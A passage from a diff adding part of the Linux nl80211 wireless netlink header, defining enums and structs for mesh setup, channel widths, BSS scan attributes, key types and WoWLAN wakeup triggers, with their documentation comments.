+ * userspace daemon.
+ *
+ * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a
+ * vendor specific synchronization method or disable it to use the default
+ * neighbor offset synchronization
+ *
+ * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will
+ * implement an MPM which handles peer allocation and state.
+ *
+ * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication
+ * method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE).
+ * Default is no authentication method required.
+ *
+ * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number
+ *
+ * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use
+ */
+enum nl80211_mesh_setup_params {
+ __NL80211_MESH_SETUP_INVALID,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC,
+ NL80211_MESH_SETUP_IE,
+ NL80211_MESH_SETUP_USERSPACE_AUTH,
+ NL80211_MESH_SETUP_USERSPACE_AMPE,
+ NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC,
+ NL80211_MESH_SETUP_USERSPACE_MPM,
+ NL80211_MESH_SETUP_AUTH_PROTOCOL,
+
+ /* keep last */
+ __NL80211_MESH_SETUP_ATTR_AFTER_LAST,
+ NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_txq_attr - TX queue parameter attributes
+ * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved
+ * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*)
+ * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning
+ * disabled
+ * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form
+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form
+ * 2^n-1 in the range 1..32767]
+ * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255]
+ * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal
+ * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number
+ */
+enum nl80211_txq_attr {
+ __NL80211_TXQ_ATTR_INVALID,
+ NL80211_TXQ_ATTR_AC,
+ NL80211_TXQ_ATTR_TXOP,
+ NL80211_TXQ_ATTR_CWMIN,
+ NL80211_TXQ_ATTR_CWMAX,
+ NL80211_TXQ_ATTR_AIFS,
+
+ /* keep last */
+ __NL80211_TXQ_ATTR_AFTER_LAST,
+ NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1
+};
+
+enum nl80211_ac {
+ NL80211_AC_VO,
+ NL80211_AC_VI,
+ NL80211_AC_BE,
+ NL80211_AC_BK,
+ NL80211_NUM_ACS
+};
+
+/* backward compat */
+#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC
+#define NL80211_TXQ_Q_VO NL80211_AC_VO
+#define NL80211_TXQ_Q_VI NL80211_AC_VI
+#define NL80211_TXQ_Q_BE NL80211_AC_BE
+#define NL80211_TXQ_Q_BK NL80211_AC_BK
+
+/**
+ * enum nl80211_channel_type - channel type
+ * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_HT20: 20 MHz HT channel
+ * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel
+ * below the control channel
+ * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel
+ * above the control channel
+ */
+enum nl80211_channel_type {
+ NL80211_CHAN_NO_HT,
+ NL80211_CHAN_HT20,
+ NL80211_CHAN_HT40MINUS,
+ NL80211_CHAN_HT40PLUS
+};
+
+/**
+ * enum nl80211_chan_width - channel width definitions
+ *
+ * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH
+ * attribute.
+ *
+ * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel
+ * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel
+ * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well
+ * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1
+ * attribute must be provided as well
+ * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel
+ * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel
+ */
+enum nl80211_chan_width {
+ NL80211_CHAN_WIDTH_20_NOHT,
+ NL80211_CHAN_WIDTH_20,
+ NL80211_CHAN_WIDTH_40,
+ NL80211_CHAN_WIDTH_80,
+ NL80211_CHAN_WIDTH_80P80,
+ NL80211_CHAN_WIDTH_160,
+ NL80211_CHAN_WIDTH_5,
+ NL80211_CHAN_WIDTH_10,
+};
+
+/**
+ * enum nl80211_bss_scan_width - control channel width for a BSS
+ *
+ * These values are used with the %NL80211_BSS_CHAN_WIDTH attribute.
+ *
+ * @NL80211_BSS_CHAN_WIDTH_20: control channel is 20 MHz wide or compatible
+ * @NL80211_BSS_CHAN_WIDTH_10: control channel is 10 MHz wide
+ * @NL80211_BSS_CHAN_WIDTH_5: control channel is 5 MHz wide
+ */
+enum nl80211_bss_scan_width {
+ NL80211_BSS_CHAN_WIDTH_20,
+ NL80211_BSS_CHAN_WIDTH_10,
+ NL80211_BSS_CHAN_WIDTH_5,
+};
+
+/**
+ * enum nl80211_bss - netlink attributes for a BSS
+ *
+ * @__NL80211_BSS_INVALID: invalid
+ * @NL80211_BSS_BSSID: BSSID of the BSS (6 octets)
+ * @NL80211_BSS_FREQUENCY: frequency in MHz (u32)
+ * @NL80211_BSS_TSF: TSF of the received probe response/beacon (u64)
+ * (if @NL80211_BSS_PRESP_DATA is present then this is known to be
+ * from a probe response, otherwise it may be from the same beacon
+ * that the NL80211_BSS_BEACON_TSF will be from)
+ * @NL80211_BSS_BEACON_INTERVAL: beacon interval of the (I)BSS (u16)
+ * @NL80211_BSS_CAPABILITY: capability field (CPU order, u16)
+ * @NL80211_BSS_INFORMATION_ELEMENTS: binary attribute containing the
+ * raw information elements from the probe response/beacon (bin);
+ * if the %NL80211_BSS_BEACON_IES attribute is present and the data is
+ * different then the IEs here are from a Probe Response frame; otherwise
+ * they are from a Beacon frame.
+ * However, if the driver does not indicate the source of the IEs, these
+ * IEs may be from either frame subtype.
+ * If present, the @NL80211_BSS_PRESP_DATA attribute indicates that the
+ * data here is known to be from a probe response, without any heuristics.
+ * @NL80211_BSS_SIGNAL_MBM: signal strength of probe response/beacon
+ * in mBm (100 * dBm) (s32)
+ * @NL80211_BSS_SIGNAL_UNSPEC: signal strength of the probe response/beacon
+ * in unspecified units, scaled to 0..100 (u8)
+ * @NL80211_BSS_STATUS: status, if this BSS is "used"
+ * @NL80211_BSS_SEEN_MS_AGO: age of this BSS entry in ms
+ * @NL80211_BSS_BEACON_IES: binary attribute containing the raw information
+ * elements from a Beacon frame (bin); not present if no Beacon frame has
+ * yet been received
+ * @NL80211_BSS_CHAN_WIDTH: channel width of the control channel
+ * (u32, enum nl80211_bss_scan_width)
+ * @NL80211_BSS_BEACON_TSF: TSF of the last received beacon (u64)
+ * (not present if no beacon frame has been received yet)
+ * @NL80211_BSS_PRESP_DATA: the data in @NL80211_BSS_INFORMATION_ELEMENTS and
+ * @NL80211_BSS_TSF is known to be from a probe response (flag attribute)
+ * @__NL80211_BSS_AFTER_LAST: internal
+ * @NL80211_BSS_MAX: highest BSS attribute
+ */
+enum nl80211_bss {
+ __NL80211_BSS_INVALID,
+ NL80211_BSS_BSSID,
+ NL80211_BSS_FREQUENCY,
+ NL80211_BSS_TSF,
+ NL80211_BSS_BEACON_INTERVAL,
+ NL80211_BSS_CAPABILITY,
+ NL80211_BSS_INFORMATION_ELEMENTS,
+ NL80211_BSS_SIGNAL_MBM,
+ NL80211_BSS_SIGNAL_UNSPEC,
+ NL80211_BSS_STATUS,
+ NL80211_BSS_SEEN_MS_AGO,
+ NL80211_BSS_BEACON_IES,
+ NL80211_BSS_CHAN_WIDTH,
+ NL80211_BSS_BEACON_TSF,
+ NL80211_BSS_PRESP_DATA,
+
+ /* keep last */
+ __NL80211_BSS_AFTER_LAST,
+ NL80211_BSS_MAX = __NL80211_BSS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_bss_status - BSS "status"
+ * @NL80211_BSS_STATUS_AUTHENTICATED: Authenticated with this BSS.
+ * @NL80211_BSS_STATUS_ASSOCIATED: Associated with this BSS.
+ * @NL80211_BSS_STATUS_IBSS_JOINED: Joined to this IBSS.
+ *
+ * The BSS status is a BSS attribute in scan dumps, which
+ * indicates the status the interface has wrt. this BSS.
+ */
+enum nl80211_bss_status {
+ NL80211_BSS_STATUS_AUTHENTICATED,
+ NL80211_BSS_STATUS_ASSOCIATED,
+ NL80211_BSS_STATUS_IBSS_JOINED,
+};
+
+/**
+ * enum nl80211_auth_type - AuthenticationType
+ *
+ * @NL80211_AUTHTYPE_OPEN_SYSTEM: Open System authentication
+ * @NL80211_AUTHTYPE_SHARED_KEY: Shared Key authentication (WEP only)
+ * @NL80211_AUTHTYPE_FT: Fast BSS Transition (IEEE 802.11r)
+ * @NL80211_AUTHTYPE_NETWORK_EAP: Network EAP (some Cisco APs and mainly LEAP)
+ * @NL80211_AUTHTYPE_SAE: Simultaneous authentication of equals
+ * @__NL80211_AUTHTYPE_NUM: internal
+ * @NL80211_AUTHTYPE_MAX: maximum valid auth algorithm
+ * @NL80211_AUTHTYPE_AUTOMATIC: determine automatically (if necessary by
+ * trying multiple times); this is invalid in netlink -- leave out
+ * the attribute for this on CONNECT commands.
+ */
+enum nl80211_auth_type {
+ NL80211_AUTHTYPE_OPEN_SYSTEM,
+ NL80211_AUTHTYPE_SHARED_KEY,
+ NL80211_AUTHTYPE_FT,
+ NL80211_AUTHTYPE_NETWORK_EAP,
+ NL80211_AUTHTYPE_SAE,
+
+ /* keep last */
+ __NL80211_AUTHTYPE_NUM,
+ NL80211_AUTHTYPE_MAX = __NL80211_AUTHTYPE_NUM - 1,
+ NL80211_AUTHTYPE_AUTOMATIC
+};
+
+/**
+ * enum nl80211_key_type - Key Type
+ * @NL80211_KEYTYPE_GROUP: Group (broadcast/multicast) key
+ * @NL80211_KEYTYPE_PAIRWISE: Pairwise (unicast/individual) key
+ * @NL80211_KEYTYPE_PEERKEY: PeerKey (DLS)
+ * @NUM_NL80211_KEYTYPES: number of defined key types
+ */
+enum nl80211_key_type {
+ NL80211_KEYTYPE_GROUP,
+ NL80211_KEYTYPE_PAIRWISE,
+ NL80211_KEYTYPE_PEERKEY,
+
+ NUM_NL80211_KEYTYPES
+};
+
+/**
+ * enum nl80211_mfp - Management frame protection state
+ * @NL80211_MFP_NO: Management frame protection not used
+ * @NL80211_MFP_REQUIRED: Management frame protection required
+ */
+enum nl80211_mfp {
+ NL80211_MFP_NO,
+ NL80211_MFP_REQUIRED,
+};
+
+enum nl80211_wpa_versions {
+ NL80211_WPA_VERSION_1 = 1 << 0,
+ NL80211_WPA_VERSION_2 = 1 << 1,
+};
+
+/**
+ * enum nl80211_key_default_types - key default types
+ * @__NL80211_KEY_DEFAULT_TYPE_INVALID: invalid
+ * @NL80211_KEY_DEFAULT_TYPE_UNICAST: key should be used as default
+ * unicast key
+ * @NL80211_KEY_DEFAULT_TYPE_MULTICAST: key should be used as default
+ * multicast key
+ * @NUM_NL80211_KEY_DEFAULT_TYPES: number of default types
+ */
+enum nl80211_key_default_types {
+ __NL80211_KEY_DEFAULT_TYPE_INVALID,
+ NL80211_KEY_DEFAULT_TYPE_UNICAST,
+ NL80211_KEY_DEFAULT_TYPE_MULTICAST,
+
+ NUM_NL80211_KEY_DEFAULT_TYPES
+};
+
+/**
+ * enum nl80211_key_attributes - key attributes
+ * @__NL80211_KEY_INVALID: invalid
+ * @NL80211_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_KEY_DEFAULT: flag indicating default key
+ * @NL80211_KEY_DEFAULT_MGMT: flag indicating default management key
+ * @NL80211_KEY_TYPE: the key type from enum nl80211_key_type, if not
+ * specified the default depends on whether a MAC address was
+ * given with the command using the key or not (u32)
+ * @NL80211_KEY_DEFAULT_TYPES: A nested attribute containing flags
+ * attributes, specifying what a key should be set as default as.
+ * See &enum nl80211_key_default_types.
+ * @__NL80211_KEY_AFTER_LAST: internal
+ * @NL80211_KEY_MAX: highest key attribute
+ */
+enum nl80211_key_attributes {
+ __NL80211_KEY_INVALID,
+ NL80211_KEY_DATA,
+ NL80211_KEY_IDX,
+ NL80211_KEY_CIPHER,
+ NL80211_KEY_SEQ,
+ NL80211_KEY_DEFAULT,
+ NL80211_KEY_DEFAULT_MGMT,
+ NL80211_KEY_TYPE,
+ NL80211_KEY_DEFAULT_TYPES,
+
+ /* keep last */
+ __NL80211_KEY_AFTER_LAST,
+ NL80211_KEY_MAX = __NL80211_KEY_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_tx_rate_attributes - TX rate set attributes
+ * @__NL80211_TXRATE_INVALID: invalid
+ * @NL80211_TXRATE_LEGACY: Legacy (non-MCS) rates allowed for TX rate selection
+ * in an array of rates as defined in IEEE 802.11 7.3.2.2 (u8 values with
+ * 1 = 500 kbps) but without the IE length restriction (at most
+ * %NL80211_MAX_SUPP_RATES in a single array).
+ * @NL80211_TXRATE_HT: HT (MCS) rates allowed for TX rate selection
+ * in an array of MCS numbers.
+ * @NL80211_TXRATE_VHT: VHT rates allowed for TX rate selection,
+ * see &struct nl80211_txrate_vht
+ * @NL80211_TXRATE_GI: configure GI, see &enum nl80211_txrate_gi
+ * @__NL80211_TXRATE_AFTER_LAST: internal
+ * @NL80211_TXRATE_MAX: highest TX rate attribute
+ */
+enum nl80211_tx_rate_attributes {
+ __NL80211_TXRATE_INVALID,
+ NL80211_TXRATE_LEGACY,
+ NL80211_TXRATE_HT,
+ NL80211_TXRATE_VHT,
+ NL80211_TXRATE_GI,
+
+ /* keep last */
+ __NL80211_TXRATE_AFTER_LAST,
+ NL80211_TXRATE_MAX = __NL80211_TXRATE_AFTER_LAST - 1
+};
+
+#define NL80211_TXRATE_MCS NL80211_TXRATE_HT
+#define NL80211_VHT_NSS_MAX 8
+
+/**
+ * struct nl80211_txrate_vht - VHT MCS/NSS txrate bitmap
+ * @mcs: MCS bitmap table for each NSS (array index 0 for 1 stream, etc.)
+ */
+struct nl80211_txrate_vht {
+ __u16 mcs[NL80211_VHT_NSS_MAX];
+};
+
+enum nl80211_txrate_gi {
+ NL80211_TXRATE_DEFAULT_GI,
+ NL80211_TXRATE_FORCE_SGI,
+ NL80211_TXRATE_FORCE_LGI,
+};
+
+/**
+ * enum nl80211_band - Frequency band
+ * @NL80211_BAND_2GHZ: 2.4 GHz ISM band
+ * @NL80211_BAND_5GHZ: around 5 GHz band (4.9 - 5.7 GHz)
+ * @NL80211_BAND_60GHZ: around 60 GHz band (58.32 - 64.80 GHz)
+ */
+enum nl80211_band {
+ NL80211_BAND_2GHZ,
+ NL80211_BAND_5GHZ,
+ NL80211_BAND_60GHZ,
+};
+
+/**
+ * enum nl80211_ps_state - powersave state
+ * @NL80211_PS_DISABLED: powersave is disabled
+ * @NL80211_PS_ENABLED: powersave is enabled
+ */
+enum nl80211_ps_state {
+ NL80211_PS_DISABLED,
+ NL80211_PS_ENABLED,
+};
+
+/**
+ * enum nl80211_attr_cqm - connection quality monitor attributes
+ * @__NL80211_ATTR_CQM_INVALID: invalid
+ * @NL80211_ATTR_CQM_RSSI_THOLD: RSSI threshold in dBm. This value specifies
+ * the threshold for the RSSI level at which an event will be sent. Zero
+ * to disable.
+ * @NL80211_ATTR_CQM_RSSI_HYST: RSSI hysteresis in dBm. This value specifies
+ * the minimum amount the RSSI level must change after an event before a
+ * new event may be issued (to reduce effects of RSSI oscillation).
+ * @NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT: RSSI threshold event
+ * @NL80211_ATTR_CQM_PKT_LOSS_EVENT: a u32 value indicating that this many
+ * consecutive packets were not acknowledged by the peer
+ * @NL80211_ATTR_CQM_TXE_RATE: TX error rate in %. Minimum % of TX failures
+ * during the given %NL80211_ATTR_CQM_TXE_INTVL before an
+ * %NL80211_CMD_NOTIFY_CQM with reported %NL80211_ATTR_CQM_TXE_RATE and
+ * %NL80211_ATTR_CQM_TXE_PKTS is generated.
+ * @NL80211_ATTR_CQM_TXE_PKTS: number of attempted packets in a given
+ * %NL80211_ATTR_CQM_TXE_INTVL before %NL80211_ATTR_CQM_TXE_RATE is
+ * checked.
+ * @NL80211_ATTR_CQM_TXE_INTVL: interval in seconds. Specifies the periodic
+ * interval in which %NL80211_ATTR_CQM_TXE_PKTS and
+ * %NL80211_ATTR_CQM_TXE_RATE must be satisfied before generating an
+ * %NL80211_CMD_NOTIFY_CQM. Set to 0 to turn off TX error reporting.
+ * @__NL80211_ATTR_CQM_AFTER_LAST: internal
+ * @NL80211_ATTR_CQM_MAX: highest key attribute
+ */
+enum nl80211_attr_cqm {
+ __NL80211_ATTR_CQM_INVALID,
+ NL80211_ATTR_CQM_RSSI_THOLD,
+ NL80211_ATTR_CQM_RSSI_HYST,
+ NL80211_ATTR_CQM_RSSI_THRESHOLD_EVENT,
+ NL80211_ATTR_CQM_PKT_LOSS_EVENT,
+ NL80211_ATTR_CQM_TXE_RATE,
+ NL80211_ATTR_CQM_TXE_PKTS,
+ NL80211_ATTR_CQM_TXE_INTVL,
+
+ /* keep last */
+ __NL80211_ATTR_CQM_AFTER_LAST,
+ NL80211_ATTR_CQM_MAX = __NL80211_ATTR_CQM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_cqm_rssi_threshold_event - RSSI threshold event
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW: The RSSI level is lower than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH: The RSSI is higher than the
+ * configured threshold
+ * @NL80211_CQM_RSSI_BEACON_LOSS_EVENT: The device experienced beacon loss.
+ * (Note that deauth/disassoc will still follow if the AP is not
+ * available. This event might get used as roaming event, etc.)
+ */
+enum nl80211_cqm_rssi_threshold_event {
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_LOW,
+ NL80211_CQM_RSSI_THRESHOLD_EVENT_HIGH,
+ NL80211_CQM_RSSI_BEACON_LOSS_EVENT,
+};
+
+/**
+ * enum nl80211_tx_power_setting - TX power adjustment
+ * @NL80211_TX_POWER_AUTOMATIC: automatically determine transmit power
+ * @NL80211_TX_POWER_LIMITED: limit TX power by the mBm parameter
+ * @NL80211_TX_POWER_FIXED: fix TX power to the mBm parameter
+ */
+enum nl80211_tx_power_setting {
+ NL80211_TX_POWER_AUTOMATIC,
+ NL80211_TX_POWER_LIMITED,
+ NL80211_TX_POWER_FIXED,
+};
+
+/**
+ * enum nl80211_packet_pattern_attr - packet pattern attribute
+ * @__NL80211_PKTPAT_INVALID: invalid number for nested attribute
+ * @NL80211_PKTPAT_PATTERN: the pattern, values where the mask has
+ * a zero bit are ignored
+ * @NL80211_PKTPAT_MASK: pattern mask, must be long enough to have
+ * a bit for each byte in the pattern. The lowest-order bit corresponds
+ * to the first byte of the pattern, but the bytes of the pattern are
+ * in a little-endian-like format, i.e. the 9th byte of the pattern
+ * corresponds to the lowest-order bit in the second byte of the mask.
+ * For example: The match 00:xx:00:00:xx:00:00:00:00:xx:xx:xx (where
+ * xx indicates "don't care") would be represented by a pattern of
+ * twelve zero bytes, and a mask of "0xed,0x01".
+ * Note that the pattern matching is done as though frames were not
+ * 802.11 frames but 802.3 frames, i.e. the frame is fully unpacked
+ * first (including SNAP header unpacking) and then matched.
+ * @NL80211_PKTPAT_OFFSET: packet offset, pattern is matched after
+ * these fixed number of bytes of received packet
+ * @NUM_NL80211_PKTPAT: number of attributes
+ * @MAX_NL80211_PKTPAT: max attribute number
+ */
+enum nl80211_packet_pattern_attr {
+ __NL80211_PKTPAT_INVALID,
+ NL80211_PKTPAT_MASK,
+ NL80211_PKTPAT_PATTERN,
+ NL80211_PKTPAT_OFFSET,
+
+ NUM_NL80211_PKTPAT,
+ MAX_NL80211_PKTPAT = NUM_NL80211_PKTPAT - 1,
+};
+
+/**
+ * struct nl80211_pattern_support - packet pattern support information
+ * @max_patterns: maximum number of patterns supported
+ * @min_pattern_len: minimum length of each pattern
+ * @max_pattern_len: maximum length of each pattern
+ * @max_pkt_offset: maximum Rx packet offset
+ *
+ * This struct is carried in %NL80211_WOWLAN_TRIG_PKT_PATTERN when
+ * that is part of %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED or in
+ * %NL80211_ATTR_COALESCE_RULE_PKT_PATTERN when that is part of
+ * %NL80211_ATTR_COALESCE_RULE in the capability information given
+ * by the kernel to userspace.
+ */
+struct nl80211_pattern_support {
+ __u32 max_patterns;
+ __u32 min_pattern_len;
+ __u32 max_pattern_len;
+ __u32 max_pkt_offset;
+} __attribute__((packed));
+
+/* only for backward compatibility */
+#define __NL80211_WOWLAN_PKTPAT_INVALID __NL80211_PKTPAT_INVALID
+#define NL80211_WOWLAN_PKTPAT_MASK NL80211_PKTPAT_MASK
+#define NL80211_WOWLAN_PKTPAT_PATTERN NL80211_PKTPAT_PATTERN
+#define NL80211_WOWLAN_PKTPAT_OFFSET NL80211_PKTPAT_OFFSET
+#define NUM_NL80211_WOWLAN_PKTPAT NUM_NL80211_PKTPAT
+#define MAX_NL80211_WOWLAN_PKTPAT MAX_NL80211_PKTPAT
+#define nl80211_wowlan_pattern_support nl80211_pattern_support
+
+/**
+ * enum nl80211_wowlan_triggers - WoWLAN trigger definitions
+ * @__NL80211_WOWLAN_TRIG_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TRIG_ANY: wake up on any activity, do not really put
+ * the chip into a special state -- works best with chips that have
+ * support for low-power operation already (flag)
+ * @NL80211_WOWLAN_TRIG_DISCONNECT: wake up on disconnect, the way disconnect
+ * is detected is implementation-specific (flag)
+ * @NL80211_WOWLAN_TRIG_MAGIC_PKT: wake up on magic packet (6x 0xff, followed
+ * by 16 repetitions of MAC addr, anywhere in payload) (flag)
+ * @NL80211_WOWLAN_TRIG_PKT_PATTERN: wake up on the specified packet patterns
+ * which are passed in an array of nested attributes, each nested attribute
+ * defining a with attributes from &struct nl80211_wowlan_trig_pkt_pattern.
+ * Each pattern defines a wakeup packet. Packet offset is associated with
+ * each pattern which is used while matching the pattern. The matching is
+ * done on the MSDU, i.e. as though the packet was an 802.3 packet, so the
+ * pattern matching is done after the packet is converted to the MSDU.
+ *
+ * In %NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED, it is a binary attribute
+ * carrying a &struct nl80211_pattern_support.
+ *
+ * When reporting wakeup. it is a u32 attribute containing the 0-based
+ * index of the pattern that caused the wakeup, in the patterns passed
+ * to the kernel when configuring.
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED: Not a real trigger, and cannot be
+ * used when setting, used only to indicate that GTK rekeying is supported
+ * by the device (flag)
+ * @NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE: wake up on GTK rekey failure (if
+ * done by the device) (flag)
+ * @NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST: wake up on EAP Identity Request
+ * packet (flag)
+ * @NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE: wake up on 4-way handshake (flag)
+ * @NL80211_WOWLAN_TRIG_RFKILL_RELEASE: wake up when rfkill is released
+ * (on devices that have rfkill in the device) (flag)
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211: For wakeup reporting only, contains
+ * the 802.11 packet that caused the wakeup, e.g. a deauth frame. The frame
+ * may be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN
+ * attribute contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN: Original length of the 802.11
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023: For wakeup reporting only, contains the
+ * 802.11 packet that caused the wakeup, e.g. a magic packet. The frame may
+ * be truncated, the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN attribute
+ * contains the original length.
+ * @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN: Original length of the 802.3
+ * packet, may be bigger than the @NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023
+ * attribute if the packet was truncated somewhere.
+ * @NL80211_WOWLAN_TRIG_TCP_CONNECTION: TCP connection wake, see DOC section
+ * "TCP connection wakeup" for more details. This is a nested attribute
+ * containing the exact information for establishing and keeping alive
+ * the TCP connection.
+ * @NL80211_WOWLAN_TRIG_TCP_WAKEUP_MATCH: For wakeup reporting only, the
+ * wakeup packet was received on the TCP connection
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST: For wakeup reporting only, the
+ * TCP connection was lost or failed to be established
+ * @NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS: For wakeup reporting only,
+ * the TCP connection ran out of tokens to use for data to send to the
+ * service
+ * @NUM_NL80211_WOWLAN_TRIG: number of wake on wireless triggers
+ * @MAX_NL80211_WOWLAN_TRIG: highest wowlan trigger attribute number
+ *
+ * These nested attributes are used to configure the wakeup triggers and
+ * to report the wakeup reason(s).
+ */
+enum nl80211_wowlan_triggers {
+ __NL80211_WOWLAN_TRIG_INVALID,
+ NL80211_WOWLAN_TRIG_ANY,
+ NL80211_WOWLAN_TRIG_DISCONNECT,
+ NL80211_WOWLAN_TRIG_MAGIC_PKT,
+ NL80211_WOWLAN_TRIG_PKT_PATTERN,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED,
+ NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE,
+ NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST,
+ NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE,
+ NL80211_WOWLAN_TRIG_RFKILL_RELEASE,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023,
+ NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN,
+ NL80211_WOWLAN_TRIG_TCP_CONNECTION,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST,
+ NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS,
+
+ /* keep last */
+ NUM_NL80211_WOWLAN_TRIG,
+ MAX_NL80211_WOWLAN_TRIG = NUM_NL80211_WOWLAN_TRIG - 1
+};
+
+/**
+ * DOC: TCP connection wakeup
+ *
+ * Some devices can establish a TCP connection in order to be woken up by a
+ * packet coming in from outside their network segment, or behind NAT. If
+ * configured, the device will establish a TCP connection to the given
+ * service, and periodically send data to that service. The first data
+ * packet is usually transmitted after SYN/ACK, also ACKing the SYN/ACK.
+ * The data packets can optionally include a (little endian) sequence
+ * number (in the TCP payload!) that is generated by the device, and, also
+ * optionally, a token from a list of tokens. This serves as a keep-alive
+ * with the service, and for NATed connections, etc.
+ *
+ * During this keep-alive period, the server doesn't send any data to the
+ * client. When receiving data, it is compared against the wakeup pattern
+ * (and mask) and if it matches, the host is woken up. Similarly, if the
+ * connection breaks or cannot be established to start with, the host is
+ * also woken up.
+ *
+ * Developer's note: ARP offload is required for this, otherwise TCP
+ * response packets might not go through correctly.
+ */
+
+/**
+ * struct nl80211_wowlan_tcp_data_seq - WoWLAN TCP data sequence
+ * @start: starting value
+ * @offset: offset of sequence number in packet
+ * @len: length of the sequence value to write, 1 through 4
+ *
+ * Note: don't confuse with the TCP sequence number(s), this is for the
+ * keepalive packet payload. The actual value is written into the packet
+ * in little endian.
+ */
+struct nl80211_wowlan_tcp_data_seq {
+ __u32 start, offset, len;
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token - WoWLAN TCP data token config
+ * @offset: offset of token in packet
+ * @len: length of each token
+ * @token_stream: stream of data to be used for the tokens, the length must
+ * be a multiple of @len for this to make sense
+ */
+struct nl80211_wowlan_tcp_data_token {
+ __u32 offset, len;
+ __u8 token_stream[];
+};
+
+/**
+ * struct nl80211_wowlan_tcp_data_token_feature - data token features
+ * @min_len: minimum token length
+ * @max_len: maximum token length
+ * @bufsize: total available token buffer size (max size of @token_stream)
+ */
+struct nl80211_wowlan_tcp_data_token_feature {
+ __u32 min_len, max_len, bufsize;
+};
+
+/**
+ * enum nl80211_wowlan_tcp_attrs - WoWLAN TCP connection parameters
+ * @__NL80211_WOWLAN_TCP_INVALID: invalid number for nested attributes
+ * @NL80211_WOWLAN_TCP_SRC_IPV4: source IPv4 address (in network byte order)
+ * @NL80211_WOWLAN_TCP_DST_IPV4: destination IPv4 address
